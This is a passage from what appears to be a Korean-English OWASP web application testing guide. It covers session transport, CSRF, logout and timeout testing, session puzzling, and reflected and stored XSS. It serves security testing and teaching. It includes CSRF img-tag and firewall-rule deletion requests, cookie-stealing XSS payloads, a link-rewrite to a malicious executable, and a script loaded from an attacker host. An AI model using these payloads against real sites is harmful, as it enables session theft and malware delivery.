If login.asp is badly implemented, it may be possible to log in using the following URL: http://owaspapp.com/login.asp?Login=Username&password=Password&SessionID=12345678 Potentially insecure server-side scripts may be identified by checking each POST in this way.


Testing for Transport vulnerabilities

All interaction between the Client and Application should be tested at least against the following criteria.

  • How are Session IDs transferred? e.g., GET, POST, Form Field

(including hidden fields) - Are Session IDs always sent over encrypted transport by default? - Is it possible to manipulate the application to send Session IDs unencrypted? e.g., by changing HTTP to HTTPS? - What cache-control directives are applied to requests/responses passing Session IDs? - Are these directives always present? If not, where are the exceptions? - Are GET requests incorporating the Session ID used? - If POST is used, can it be interchanged with GET?


References

Whitepapers

OTG-SESS-005 (크로스 사이트 요청 위조 테스트)


개요

CSRF is an attack which forces an end user to execute unwanted actions on a web application in which he/she is currently authenticated. With a little help of social engineering (like sending a link via email or chat), an attacker may force the users of a web application to execute actions of the attacker’s choosing. A successful CSRF exploit can compromise end user data and operation, when it targets a normal user. If the targeted end user is the administrator account, a CSRF attack can compromise the entire web application.

CSRF relies on the following:

[1] Web browser behavior regarding the handling of session-re lated information such as cookies and http authentication information; [2] Knowledge by the attacker of valid web application URLs; [3] Application session management relying only on information which is known by the browser; [4] Existence of HTML tags whose presence cause immediate access to an http[s] resource; for example the image tag img. Points 1, 2, and 3 are essential for the vulnerability to be present, while point 4 is accessory and facilitates the actual exploitation, but is not strictly required. Point 1) Browsers automatically send information which is used to identify a user session. Suppose site is a site hosting a web application, and the user victim has just authenticated himself to site. In response, site sends victim a cookie which identifies requests sent by victim as belonging to victim’s authenticated session. Basically, once the browser receives the cookie set by site, it will automatically send it along with any further requests directed to site. Point 2) If the application does not make use of session-related information in URLs, then it means that the application URLs, their parameters, and legitimate values may be identified (either by code analysis or by accessing the application and taking note of forms and URLs embedded in the HTML/JavaScript). Point 3) ”Known by the browser” refers to information such as cookies, or http-based authentication information (such as Basic Authentication; and not form-based authentication), which are stored by the browser and subsequently resent at each request directed towards an application area requesting that authentication. The vulnerabilities discussed next apply to applications which rely entirely on this kind of information to identify a user session. Suppose, for simplicity’s sake, to refer to GET-accessible URLs (though the discussion applies as well to POST requests). If victim has already authenticated himself, submitting another request causes the cookie to be automatically sent with it (see picture, where the user accesses an application on www.example.com). The GET request could be originated in several different ways: • by the user, who is using the actual web application; • by the user, who types the URL directly in the browser; • by the user, who follows a link (external to the application) pointing to the URL. These invocations are indistinguishable by the application. In particular, the third may be quite dangerous. There are a number of techniques (and of vulnerabilities) which can disguise the real properties of a link. The link can be embedded in an email message, or appear in a malicious web site where the user is lured, i.e., the link appears in content hosted elsewhere (another web site, an HTML email message, etc.) and points to a resource of the application. If the user clicks on the link, since it was already authenticated by the web application on site, the browser will issue a GET request to the web application, accompanied by authentication information (the session id cookie). This results in a valid operation performed on the web application and probably not what the user expects to happen. Think of a malicious link causing a fund transfer on a web banking application to appreciate the implications. By using a tag such as img, as specified in point 4 above, it is not even necessary that the user follows a particular link. Suppose the attacker sends the user an email inducing him to visit an URL referring to a page containing the following (oversimplified) HTML:

<html><body>
...
<img src=”https://www.company.example/action” width=”0”
height=”0”>
...
</body></html>

What the browser will do when it displays this page is that it will try to display the specified zero-width (i.e., invisible) image as well. This results in a request being automatically sent to the web application hosted on site. It is not important that the image URL does not refer to a proper image, its presence will trigger the request specified in the src field anyway. This happens provided that image download is not disabled in the browsers, which is a typical configuration since disabling images would cripple most web applications beyond usability. The problem here is a consequence of the following facts: • there are HTML tags whose appearance in a page result in

automatic http request execution (img being one of those);
  • the browser has no way to tell that the resource referenced by
img is not actually an image and is in fact not legitimate;
  • image loading happens regardless of the location of the alleged
image, i.e., the form and the image itself need not be located

in the same host, not even in the same domain. While this is a very handy feature, it makes difficult to compartmentalize applications. It is the fact that HTML content unrelated to the web application may refer components in the application, and the fact that the browser automatically composes a valid request towards the application, that allows such kind of attacks. As no standards are defined right now, there is no way to prohibit this behavior unless it is made impossible for the attacker to specify valid application URLs. This means that valid URLs must contain information related to the user session, which is supposedly not known to the attacker and therefore make the identification of such URLs impossible. The problem might be even worse, since in integrated mail/

browser environments simply displaying an email message containing the image would result in the execution of the request to the web application with the associated browser cookie. Things may be obfuscated further, by referencing seemingly valid image URLs such as

<img src=”https://[attacker]/picture.gif” width=”0”
height=”0”>

where [attacker] is a site controlled by the attacker, and by utilizing a redirect mechanism on

http://[attacker]/picture.gif to http://[thirdparty]/action.

Cookies are not the only example involved in this kind of vulnerability. Web applications whose session information is entirely supplied by the browser are vulnerable too. This includes applications relying on HTTP authentication mechanisms alone, since the authentication information is known by the browser and is sent automatically upon each request. This DOES NOT include formbased authentication, which occurs just once and generates some form of session-related information (of course, in this case, such information is expressed simply as a cookie and can we fall back to one of the previous cases). Sample scenario Let’s suppose that the victim is logged on to a firewall web management application. To log in, a user has to authenticate himself and session information is stored in a cookie. Let’s suppose the firewall web management application has a function that allows an authenticated user to delete a rule specified by its positional number, or all the rules of the configuration if the user enters ‘*’ (quite a dangerous feature, but it will make the example more interesting). The delete page is shown next. Let’s suppose that the form – for the sake of simplicity – issues a GET request, which will be of the form

https://[target]/fwmgt/delete?rule=1

(to delete rule number one)

https://[target]/fwmgt/delete?rule=*

(to delete all rules). The example is purposely quite naive, but shows in a simple way the dangers of CSRF.

Therefore, if we enter the value ‘*’ and press the Delete button, the following GET request is submitted.

https://www.company.example/fwmgt/delete?rule=*

with the effect of deleting all firewall rules (and ending up in a possibly inconvenient situation).

Now, this is not the only possible scenario. The user might have accomplished the same results by manually submitting the URL or by following a link pointing, directly or via a redirection, to the above URL. Or, again, by accessing an HTML page with an embedded img tag pointing to the same URL.

https://[target]/fwmgt/delete?rule=*

In all of these cases, if the user is currently logged in the firewall management application, the request will succeed and will modify the configuration of the firewall. One can imagine attacks targeting sensitive applications and making automatic auction bids, money transfers, orders, changing the configuration of critical software components, etc.

An interesting thing is that these vulnerabilities may be exercised behind a firewall; i.e., it is sufficient that the link being attacked be reachable by the victim (not directly by the attacker). In particular, it can be any Intranet web server; for example, the firewall management station mentioned before, which is unlikely to be exposed to the Internet. Imagine a CSRF attack targeting an application monitoring a nuclear power plant. Sounds far fetched? Probably, but it is a possibility.

Self-vulnerable applications, i.e., applications that are used both as attack vector and target (such as web mail applications), make things worse. If such an application is vulnerable, the user is obviously logged in when he reads a message containing a CSRF attack, that can target the web mail application and have it perform actions such as deleting messages, sending messages appearing as sent by the user, etc.


테스트 방법

Black Box Testing

For a black box test the tester must know URLs in the restricted (authenticated) area. If they possess valid credentials, they can assume both roles – the attacker and the victim. In this case, testers know the URLs to be tested just by browsing around the application.

Otherwise, if testers don’t have valid credentials available, they have to organize a real attack, and so induce a legitimate, logged in user into following an appropriate link. This may involve a substantial level of social engineering. Either way, a test case can be constructed as follows: • let u the URL being tested; for example, u = http://www.example.com/action • build an html page containing the http request referencing URL

u (specifying all relevant parameters; in the case of http GET this

is straightforward, while to a POST request you need to resort to some Javascript); • make sure that the valid user is logged on the application; • induce him into following the link pointing to the URL to be tested (social engineering involved if you cannot impersonate the user yourself); • observe the result, i.e. check if the web server executed the request.


Gray Box Testing

Audit the application to ascertain if its session management is vulnerable. If session management relies only on client side values (information available to the browser), then the application is vulnerable. “Client side values” mean cookies and HTTP authentication credentials (Basic Authentication and other forms of HTTP authentication; not form-based authentication, which is an application-level authentication). For an application to not be vulnerable, it must include session-related information in the URL, in a form of unidentifiable or unpredictable by the user ([3] uses the term secret to refer to this piece of information). Resources accessible via HTTP GET requests are easily vulnerable, though POST requests can be automated via Javascript and are vulnerable as well; therefore, the use of POST alone is not enough to correct the occurrence of CSRF vulnerabilities.


Tools

Category:OWASP_WebScarab_Project • CSRF Tester http://www.owasp.org/index.php/ Category:OWASP_CSRFTester_Project • Cross Site Requester http://yehg.net/lab/pr0js/pentest/cross_ site_request_forgery.php (via img) • Cross Frame Loader http://yehg.net/lab/pr0js/pentest/cross_ site_framing.php (via iframe) • Pinata-csrf-tool http://code.google.com/p/pinata-csrf-tool/


References

Whitepapers
  • Peter W: “Cross-Site Request Forgeries” -

http://www.tux.org/~peterw/csrf.txt • Thomas Schreiber: “Session Riding” - http://www.securenet.de/papers/Session_Riding.pdf • Oldest known post - http://www.zope.org/Members/jim/ ZopeSecurity/ClientSideTrojan • Cross-site Request Forgery FAQ - http://www.cgisecurity.com/articles/csrf-faq.shtml • A Most-Neglected Fact About Cross Site Request Forgery (CSRF) - http://yehg.net/lab/pr0js/view.php/A_MostNeglected_Fact_About_CSRF.pdf


Remediation

The following countermeasures are divided among recommendations to users and to developers.


Users

Since CSRF vulnerabilities are reportedly widespread, it is recommended to follow best practices to mitigate risk. Some mitigating actions are: • Logoff immediately after using a web application • Do not allow the browser to save username/passwords, and do not allow sites to “remember” the log in details. • Do not use the same browser to access sensitive applications and to surf freely the Internet; if it is necessary to do both things at the same machine, do them with separate browsers. Integrated HTML-enabled mail/browser, newsreader/browser environments pose additional risks since simply viewing a mail message or a news message might lead to the execution of an attack.


Developers

Add session-related information to the URL. What makes the attack possible is the fact that the session is uniquely identified by the cookie, which is automatically sent by the browser. Having other session-specific information being generated at the URL level makes it difficult to the attacker to know the structure of URLs to attack. Other countermeasures, while they do not resolve the issue, contribute to make it harder to exploit: • Use POST instead of GET. While POST requests may be simulated by means of JavaScript, they make it more complex to mount an attack. • The same is true with intermediate confirmation pages (such as: “Are you sure you really want to do this?” type of pages). They can be bypassed by an attacker, although they will make their work a bit more complex. Therefore, do not rely solely on these measures to protect your application. • Automatic log out mechanisms somewhat mitigate the exposure to these vulnerabilities, though it ultimately depends on the context (a user who works all day long on a vulnerable web banking application is obviously more at risk than a user who uses the same application occasionally).


OTG-SESS-006 (로그 아웃 기능 테스트)


Summary Session termination is an important part of the session lifecycle. Reducing to a minimum the lifetime of the session tokens decreases the likelihood of a successful session hijacking attack. This can be seen as a control against preventing other attacks like Cross Site Scripting and Cross Site Request Forgery. Such attacks have been known to rely on a user having an authenticated session present. Not having a secure session termination only increases the attack surface for any of these attacks. A secure session termination requires at least the following components: • Availability of user interface controls that allow the user to manually log out. • Session termination after a given amount of time without activity (session timeout). • Proper invalidation of server-side session state. There are multiple issues which can prevent the effective termination of a session. For the ideal secure web application, a user should be able to terminate at any time through the user interface. Every page should contain a log out button on a place where it is directly visible. Unclear or ambiguous log out functions could cause the user not trusting such functionality. Another common mistake in session termination is that the client-side session token is set to a new value while the server-side state remains active and can be reused by setting the session cookie back to the previous value. Sometimes only a confirmation message is shown to the user without performing any further action. This should be avoided. Users of web browsers often don’t mind that an application is still open and just close the browser or a tab. A web application should be aware of this behavior and terminate the session automatically on the server-side after a defined amount of time. The usage of a single sign-on (SSO) system instead of an application-specific authentication scheme often causes the coexistence of multiple sessions which have to be terminated separately. For instance, the termination of the application-specific session does not terminate the session in the SSO system. Navigating back to the SSO portal offers the user the possibility to log back in to the application where the log out was performed just before. On the other side a log out function in a SSO system does not necessarily cause session termination in connected applications. How to Test Testing for log out user interface: Verify the appearance and visibility of the log out functionality in the user interface. For this purpose, view each page from the perspective of a user who has the intention to log out from the web application. Result Expected: There are some properties which indicate a good log out user interface: • A log out button is present on all pages of the web application. • The log out button should be identified quickly by a user who

wants to log out from the web application. After loading a page the log out button should be visible without

scrolling. • Ideally the log out button is placed in an area of the page that is

fixed in the view port of the browser and not affected by scrolling of

the content. Testing for server-side session termination: First, store the values of cookies that are used to identify a session. Invoke the log out function and observe the behavior of the application, especially regarding session cookies. Try to navigate to a page that is only visible in an authenticated session, e.g. by usage of the back button of the browser. If a cached version of the page is displayed, use the reload button to refresh the page from the server. If the log out function causes session cookies to be set to a new value, restore the old value of the session cookies and reload a page from the authenticated area of the application. If these test don’t show any vulnerabilities on a particular page, try at least some further pages of the application that are considered as security-critical, to ensure that session termination is recognized properly by these areas of the application. Result Expected: No data that should be visible only by authenticated users should be visible on the examined pages while performing the tests. Ideally the application redirects to a public area or a log in form while accessing authenticated areas after termination of the session. It should be not necessary for the security of the application, but setting session cookies to new values after log out is generally considered as good practice. Testing for session timeout: Try to determine a session timeout by performing requests to a page in the authenticated area of the web application with increasing delays. If the log out behavior appears, the used delay matches approximately the session timeout value. Result Expected: The same results as for server-side session termination testing described before are excepted by a log out caused by an inactivity timeout. The proper value for the session timeout depends on the purpose of the application and should be a balance of security and usability. In a banking applications it makes no sense to keep an inactive session more than 15 minutes. On the other side a short timeout in a wiki or forum could annoy users which are typing lengthy articles with unnecessary log in requests. There timeouts of an hour and more can be acceptable. Testing for session termination in single sign-on environments (single sign-off): Perform a log out in the tested application. Verify if there is a central portal or application directory which allows the user to log back in to the application without authentication. Test if the application requests the user to authenticate, if the URL of an entry point to the application is requested. While logged in in the tested application, perform a log out in the SSO system. Then try to access an authenticated area of the tested application. Result Expected: It is expected that the invocation of a log out function in a web application connected to a SSO system or in the SSO system itself causes global termination of all sessions. An authentication of the user should be required to gain access to the application after log out in the SSO system and connected application. Tools • “Burp Suite - Repeater” - http://portswigger.net/burp/repeater.html References Whitepapers • “The FormsAuthentication.SignOut method does not prevent cookie reply attacks in ASP.NET applications” - http://support.microsoft.com/default.aspx?scid=kb;en-us;900111 • “Cookie replay attacks in ASP.NET when using forms authentication” - https://www.vanstechelman.eu/content/cookie-replay-attacks-inaspnet-when-using-forms-authentication

OTG-SESS-007 (세션 타임아웃 테스트)


개요

In this phase testers check that the application automatically logs out a user when that user has been idle for a certain amount of time, ensuring that it is not possible to “reuse” the same session and that no sensitive data remains stored in the browser cache. All applications should implement an idle or inactivity timeout for sessions. This timeout defines the amount of time a session will remain active in case there is no activity by the user, closing and invalidating the session upon the defined idle period since the last HTTP request received by the web application for a given session ID. The most appropriate timeout should be a balance between security (shorter timeout) and usability (longer timeout) and heavily depends on the sensitivity level of the data handled by the application. For example, a 60 minute log out time for a public forum can be acceptable, but such a long time would be too much in a home banking application (where a maximum timeout of 15 minutes is recommended). In any case, any application that does not enforce a timeout-based log out should be considered not secure, unless such behavior is required by a specific functional requirement. The idle timeout limits the chances that an attacker has to guess and use a valid session ID from another user, and under certain circumstances could protect public computers from session reuse. However, if the attacker is able to hijack a given session, the idle timeout does not limit the attacker’s actions, as he can generate activity on the session periodically to keep the session active for longer periods of time. Session timeout management and expiration must be enforced server-side. If some data under the control of the client is used to enforce the session timeout, for example using cookie values or other client parameters to track time references (e.g. number of minutes since log in time), an attacker could manipulate these to extend the session duration. So the application has to track the inactivity time on the server side and, after the timeout is expired, automatically invalidate the current user’s session and delete every data stored on the client. Both actions must be implemented carefully, in order to avoid introducing weaknesses that could be exploited by an attacker to gain unauthorized access if the user forgot to log out from the application. More specifically, as for the log out function, it is important to ensure that all session tokens (e.g. cookies) are properly de stroyed or made unusable, and that proper controls are enforced at the server side to prevent the reuse of session tokens. If such actions are not properly carried out, an attacker could replay these session tokens in order to “resurrect” the session of a legitimate user and impersonate him/her (this attack is usually known as ‘cookie replay’). Of course, a mitigating factor is that the attacker needs to be able to access those tokens (which are stored on the victim’s PC), but, in a variety of cases, this may not be impossible or particularly difficult. The most common scenario for this kind of attack is a public computer that is used to access some private information (e.g., web mail, online bank account). If the user moves away from the computer without explicitly logging out and the session timeout is not implemented on the application, then an attacker could access to the same account by simply pressing the “back” button of the browser.


테스트 방법

Black Box testing

로그 아웃 기능 테스트(OTG-SESS-006) 섹션에서 보는 동일한 접근 방식은 로그 아웃 타임 아웃을 측정할 때 적용할 수 있습니다. 테스트 방법은 매우 유사합니다.

First, testers have to check whether a timeout exists, for instance, by logging in and waiting for the timeout log out to be triggered. As in the log out function, after the timeout has passed, all session tokens should be destroyed or be unusable. Then, if the timeout is configured, testers need to understand whether the timeout is enforced by the client or by the server (or both). If the session cookie is non-persistent (or, more in general, the session cookie does not store any data about the time), testers can assume that the timeout is enforced by the server. If the session cookie contains some time related data (e.g., log in time, or last access time, or expiration date for a persistent cookie), then it’s possible that the client is involved in the timeout enforcing. In this case, testers could try to modify the cookie (if it’s not cryptographically protected) and see what happens to the session. For instance, testers can set the cookie expiration date far in the future and see whether the session can be prolonged. As a general rule, everything should be checked server-side and it should not be possible, by re-setting the session cookies to previous values, to access the application again.


Gray Box Testing

The tester needs to check that:

  • The log out function effectively destroys all session token, or at least renders them unusable,
  • The server performs proper checks on the session state, disallowing an attacker to replay previously destroyed session identifiers
  • A timeout is enforced and it is properly enforced by the server.

If the server uses an expiration time that is read from a session token that is sent by the client (but this is not advisable), then the token must be cryptographically protected from tampering. Note that the most important thing is for the application to invalidate the session on the server side. Generally this means that the code must invoke the appropriate methods, e.g. HttpSession. invalidate() in Java and Session.abandon() in .NET. Clearing the cookies from the browser is advisable, but is not strictly necessary, since if the session is properly invalidated on the server, having the cookie in the browser will not help an attacker.


References

OWASP Resources

  • Session Management Cheat Sheet

OTG-SESS-008 (세션 퍼즐링 테스트)


개요

세션 변수 과부하(세션 퍼즐링)는 공격자가 다양한 악성 행위를 실행할 수 있는 어플리케이션 레벨 취약점이 있습니다.

  • 효율적인 인증 강화 메카니즘을 우회하여 합법적인 사용자 행세
  • 안전하다고 간주되는 환경에서 악의적인 사용자 계정의 권한 상승
  • Skip over qualifying phases in multi-phase processes, even if the process includes all the commonly recommended code level restrictions.
  • Manipulate server-side values in indirect methods that cannot be predicted or detected.
  • Execute traditional attacks in locations that were previously unreachable, or even considered secure.

해당 취약점은 어플리케이션이 하나 이상의 목적을 위해 동일한 세션 변수를 사용할 경우 발생합니다.

An attacker can potentially access pages in an order unanticipated by the developers so that the session variable is set in one context and then used in another.

For example, an attacker could use session variable overloading to bypass authentication enforcement mechanisms of applications that enforce authentication by validating the existence of session variables that contain identity–related values, which are usually stored in the session after a successful authentication process. This means an attacker first accesses a location in the application that sets session context and then accesses privileged locations that examine this context. For example - an authentication bypass attack vector could be executed by accessing a publicly accessible entry point (e.g. a password recovery page) that populates the session with an identical session variable, based on fixed values or on user originating input.


테스트 방법

Black Box Testing

This vulnerability can be detected and exploited by enumerating all of the session variables used by the application and in which context they are valid. In particular this is possible by accessing a sequence of entry points and then examining exit points. In case of black box testing this procedure is difficult and requires some luck since every different sequence could lead to a different result.

예제

A very simple example could be the password reset functionality that, in the entry point, could request the user to provide some identifying information such as the username or the e-mail address. This page might then populate the session with these identifying values, which are received directly from the client side, or obtained from queries or calculations based on the received input. At this point there may be some pages in the application that show private data based on this session object.

이러한 방식으로 공격자는 인증 과정을 우회할 수 있습니다.


Gray Box testing

해당 취약점을 탐지하기 위한 가장 효율적인 방법은 소스 코드를 검토하는 것입니다.


Remediation

세션 변수는 하나의 일관된 목적으로만 사용되어야 합니다.


06_입력 유효성 검사 테스트

OTG-INPVAL-001 (반사형 크로스 사이트 스크립팅 테스트)


개요

반사형 크로스 사이트 스크립팅은 공격자가 HTTP 응답 데이터 안에 브라우저 실행 코드를 삽입할 때 발생합니다. 삽입 공격은 그 자신이 어플리케이션 안에 저장되지 않을 뿐아니라 지속되지 않고, 악의적으로 조작한 링크 또는 웹 페이지에 접근하는 사용자만 영향을 줍니다. 공격 문자열은 조작한 URI 또는 HTTP 파라미터의 일부에 포함되어, 어플리케이션에서 부적절하게 처리되어 피해자에게 리턴됩니다.

반사형 XSS는 전체적인 XSS 공격 중 가장 빈번한 공격 형태입니다. 반사형 XSS 공격은 지속적이지 않은 XSS 공격으로 잘 알려져 있고, 공격 페이로드는 싱글 요청 및 응답을 통해 실행되고 전송됩니다. 그래서, 첫번째 순서 또는 타입 1 XSS라고도 불립니다.

웹 어플리케이션이 해당 공격 형태에 취약할 때, 클라이언트로 요청을 통해 전송이 확인되지 않은 입력을 돌려보낼 것입니다.

The common modus operandi of the attack includes a design step, in which the attacker creates and tests an offending URI, a social engineering step, in which she convinces her victims to load this URI on their browsers, and the eventual execution of the offending code using the victim’s browser.

일반적으로 공격자 코드는 자바스크립트 언어로 쓰여져 있지만, 그 외 스크립팅 언어도 종종 사용됩니다.(ActionScript, VBScript) 공격자는 일반적으로 키 로거 설치, 피해자 쿠키 탈취, 클립보드 탈취 수행, 또는 페이지 컨텐츠 교체를 위해 이 취약점을 이용합니다.

XSS 취약점을 막기 가장 어려운 부분은 적절한 문자 인코딩입니다. 일부 경우, 웹 서버 또는 웹 어플리케이션은 문자의 일부 인코딩을 필터링할 수 없습니다. 그래서, 웹 어플리케이션은 **<script>**를 필터링할 수 있지만, 간단한 인코딩 태그를 포함한 **%3cscript%3e**를 필터링하지 않을 수 있습니다.


테스트 방법


Black Box testing

블랙 박스 테스트는 최소한 3가지 과정을 포함해야합니다.

  1. 입력 벡터 탐지.

침투 테스터는 각각의 웹 페이지에서 모든 웹 어플리케이션의 사용자 정의 변수와 그들이 입력되는 방법을 확인해야 합니다. 이것은 HTTP 파라미터, POST 데이터, 숨겨진 form 필드 값, 그리고 미리 정의된 radio 또는 selection 값과 같은 숨겨지거나 명백하지 않은 입력을 포함합니다. 일반적으로 브라우저 내에 HTML 에디터 또는 웹 프록시는 숨겨진 변수를 보는 데 사용할 수 있습니다.

  1. 잠재적인 취약점을 탐지하기 위해 각각의 입력 벡터 분석.

XSS 취약점을 탐지하기 위해, 침투 테스터는 각각의 입력 벡터에 특별하게 조작한 입력 데이터를 사용할 것입니다. 그러한 입력 데이터는 일반적으로 해롭지 않지만, 취약점이 나타난 웹 브라우저로 부터 응답 데이터가 트리거됩니다. 침투 테스트 데이터는 웹 어플리케이션 퍼저, 알려진 공격 문자열 리스트 또는 수동으로 생성될 수 있습니다.

입력 데이터 예제

<script>alert(123)</script>
"><script>alert(document.cookie)</script>

더 자세한 목록은 XSS Filter Evasion Cheat Sheet을 참고

3. 이 전 과정에서 시도된 입력값으로, 침투 테스터는 결과를 분석할 수 있습니다. 그리고, 웹 어플리케이션의 보안에 실제 영향을 주는 취약점을 나타내는 경우를 결정합니다. 이것은 HTML 웹 페이지 결과와 침투테스트 입력 검색 테스트가 요구됩니다. 발견되면, 침투 테스터는 인코딩된 것, 대체된 것, 또는 필터링 된 것에 대해 적합하지 않은 특수 문자를 식별합니다. 필터링 되지 않은 취약한 특수 문자 집합은 HTML의 섹션 컨텍스트에 따라 달라집니다.

모든 HTML 특수 문자가 HTML 엔티티로 교체되는 지 식별합니다.

식별할 키 HTML 엔티티

> (초과)
< (미만)
& (앰퍼센트)
' (싱글 쿼트)
" (더블 쿼트)

그러나, 엔티티의 전체 리스트는 HTML 과 XML 규격에 정의되어 있습니다. Wikipedia에 완벽한 reference를 가지고 있습니다.

HTML 액션 또는 자바스크립트 코드의 컨텍스트에서 다른 특수 문자 설정은 취소, 암호화, 대체, 필터링을 해야할 것입니다.

\n (new line)
\r (carriage return)
\' (싱글 쿼트)
\" (더블 쿼트)
\\ (백슬래쉬)
\uXXXX (unicode 값)

예제 1

예를 들어, "Welcome %username%"를 출력하는 사이트가 있다고 합시다. 그리고, 다운로드 링크가 있습니다.

침투 테스터는 모든 데이터 입력 포인트는 XSS 공격이 발생할 수 있음을 의심해야 합니다. 그것을 분석하기 위해, 침투 테스터는 사용자 변수를 실행하고 취약점을 트리거 합니다.

다음 링크로 클릭하고 상황을 확인해봅시다.

http://example.com/index.php?user=<script>alert(123)</script>

만약 필터링이 없다면 다음 팝업이 결과로 발생될 것입니다.

이것은 XSS 취약점이 있다는 걸 의마하고, 침투 테스터의 링크를 클릭한다면 모든 사람의 브라우저에 테스터가 선택한 코드를 실행 할 수 있다는 걸 나타냅니다.


예제 2
http://example.com/index.php?user=<script>window.onload=
function() {var AllLinks=document.getElementsByTagName("a");
AllLinks[0].href="http://badexample.com/malicious.exe";}</script>

예제 3
<input type="text" name="state" value="INPUT_FROM_USER">
"onfocus="alert(document.cookie)

예제 4
"><script>alert(document.cookie)</script>
"%3cscript%3ealert(document.cookie)%3c/script%3e

예제 5
<scr<script>ipt>alert(document.cookie)</script>

예제 6
<?
    $re = "/<script[^>]+src/i";

    if (preg_match($re, $_GET['var']))
    {
        echo "Filtered";
        return;
    }
    echo "Welcome ".$_GET['var']." !";
?>
<script src="http://attacker/xss.js"></script>
http://example/?var=<SCRIPT%20a=">"%20SRC="http://attacker/xss.js"></SCRIPT>

예제 7
http://example/page.php?param=<script>[...]</script>
http://example/page.php?param=<script&param=>[...]</&param=script>

Gray Box 테스팅

Gray Box 테스팅은 Black box 테스팅과 유사합니다. Gray box 테스팅에서 침투 테스터는 어플리케이션에 대한 부분적인 지식을 가지고 있습니다. 이 경우에, 사용자 입력, 입력값 검증 제어 및 사용자 입력이 사용자에게 다시 렌더링되는 방법에 관한 정보는 침투 테스터에 의해 알려질 수 있습니다.

소스 코드를 이용할 수 있는 경우(White Box), 사용자로 부터 받은 모든 변수를 분석해야 합니다. 또한 테스터는 필터링 처리 절차를 분석하여 이를 우회할 수 있는지 판단해야 합니다.


Tools


References

OWASP Resources
  • XSS Filter Evasion Cheat Sheet
Books
  • Joel Scambray, Mike Shema, Caleb Sima - "Hacking Exposed Web Applications", Second Edition, McGraw-Hill, 2006 - ISBN 0-07-226229-0
  • Dafydd Stuttard, Marcus Pinto - "The Web Application’s Handbook - Discovering and Exploiting Security Flaws", 2008, Wiley, ISBN 978-0-470-17077-9
  • Jeremiah Grossman, Robert "RSnake" Hansen, Petko "pdp" D. Petkov, Anton Rager, Seth Fogie - "Cross Site Scripting Attacks: XSS Exploits and Defense", 2007, Syngress, ISBN-10: 1-59749-154-3
Whitepapers
  • CERT - Malicious HTML Tags Embedded in Client Web Requests: Read
  • Rsnake - XSS Cheat Sheet: Read
  • cgisecurity.com - The Cross Site Scripting FAQ: Read
  • G.Ollmann - HTML Code Injection and Cross-site scripting: Read
    1. Calvo, D.Tiscornia - alert(‘A javascritp agent’): Read ( To be published )
    1. Frei, T. Dübendorfer, G. Ollmann, M. May - Understanding the Web browser threat: Read

OTG-INPVAL-002 (저장형 크로스 사이트 스크립팅 침투 테스트)


개요

저장형 크로스 사이트 스크립팅은 XSS 중 가장 위협적인 형태입니다.

Web applications that allow users to store data are potentially exposed to this type of attack. This chapter illustrates examples of stored cross site scripting injection and related exploitation scenarios. Stored XSS occurs when a web application gathers input from a user which might be malicious, and then stores that input in a data store for later use. The input that is stored is not correctly filtered. As a consequence, the malicious data will appear to be part of the web site and run within the user's browser under the privileges of the web application. Since this vulnerability typically involves at least two requests to the application, this may also called second-order XSS. This vulnerability can be used to conduct a number of browser-based attacks including:

  • 다른 사용자 브라우저 하이재킹
  • 어플리케이션 사용자에 의해 보이는 민감한 정보 캡쳐
  • Pseudo defacement of the application
  • Port scanning of internal hosts ("internal" in relation to the users of the web application)
  • Directed delivery of browser-based exploits
  • Other malicious activities

저장형 XSS는 공격할 수 있는 악성 링크는 필요 없습니다. 성공적인 공격은 사용자가 저장형 XSS 페이지에 접근할 때 발생합니다. 다음 과정은 일반적인 저장형 XSS 공격 시나리오 입니다.

  • 공격자는 취한한 페이지로 악성 코드 저장
  • 사용자가 어플리케이션에 인증
  • 사용자가 취약한 페이지 방문
  • 악성코드가 사용자 브라우저에 의해 실행됨

이러한 공격 형태는 BeEF, XSS Proxy, Backframe 과 같은 브라우저 공격 프레임워크로 공격할 수 있습니다. 이 프레임워크는 복잡한 자바스크립트 공격 개발 입니다.

저장형 XSS는 특히 높은 권한을 가진 사용자가 접근할 때 특히 위협적입니다. 관리자가 취약한 페이지에 접근했을 때, 공격은 브라우저에 의해 자동으로 실행됩니다. 이것은 세션 인증 토큰과 같은 민감한 정보를 노출할 수 있습니다.


테스트 방법


Black Box testing

저장형 XSS 취약점을 확인하는 과정은 반사형 XSS 취약점 테스트 과정과 유사합니다.

Input Forms

The first step is to identify all points where user input is stored into the back-end and then displayed by the application.

사용자 입력이 저장되는 것을 찾을 수 있는 일반적인 예제

  • 사용자/프로파일 페이지: the application allows the user to edit/ change profile details such as first name, last name, nickname, avatar, picture, address, etc.
  • 쇼핑 카트: the application allows the user to store items into the shopping cart which can then be reviewed later
  • 관일 관리: application that allows upload of files
  • 어플리케이션 설정/환경 설정: application that allows the user to set preferences
  • 포럼/메시지 보드: application that permits exchange of posts among users
  • 블로그: if the blog application permits to users submitting comments
  • 로그: if the application stores some users input into logs.
HTML 코드 분석

Input stored by the application is normally used in HTML tags, but it can also be found as part of JavaScript content. At this stage, it is fundamental to understand if input is stored and how it is positioned in the context of the page. Differently from reflected XSS, the pen-tester should also investigate any out-of-band channels through which the application receives and stores users input.

Note: All areas of the application accessible by administrators should be tested to identify the presence of any data submitted by users.


예제 이메일은 index2.php에 저장된 데이터

[그림]

이메일 값이 위치한 index2.php HTML 코드

<input class="inputbox" type="text" name="email" size="40" value="aaa@aa.com" />

이 경우 테스터는 아래와 같이 <input> 태그로 삽입된 코드를 찾아야 합니다.

<input class="inputbox" type="text" name="email" size="40" value="aaa@aa.com"> MALICIOUS CODE <!-- />

저장형 XSS 테스트

입력 검증 테스트 및 어플리케이션의 필터링 제어를 포함합니다.

기본 인젝션 예제

aaa@aa.com"><script>alert(document.cookie)</script>
aaa@aa.com%22%3E%3Cscript%3Ealert(document.cookie)%3C%2Fscript%3E

입력이 어플리케이션을 통해 제출되어야 합니다. 일반적으로 클라이언트 측 보안 제어가 WebScarab과 같은 웹 프록시로 HTTP 요청이 구현되거나 수정된 경우 자바 스크립트를 비활성화합니다. HTTP GET과 POST 요청으로 같은 인젝션을 테스트해보는 것도 중요합니다.

위의 인젝션 결과는 팝업 윈도우에 쿠키값이 포함되는 것입니다.

예상 결과

[그림]

<input class="inputbox" type="text" name="email" size="40" value="aaa@aa.com">
<script>alert(document.cookie)</script>

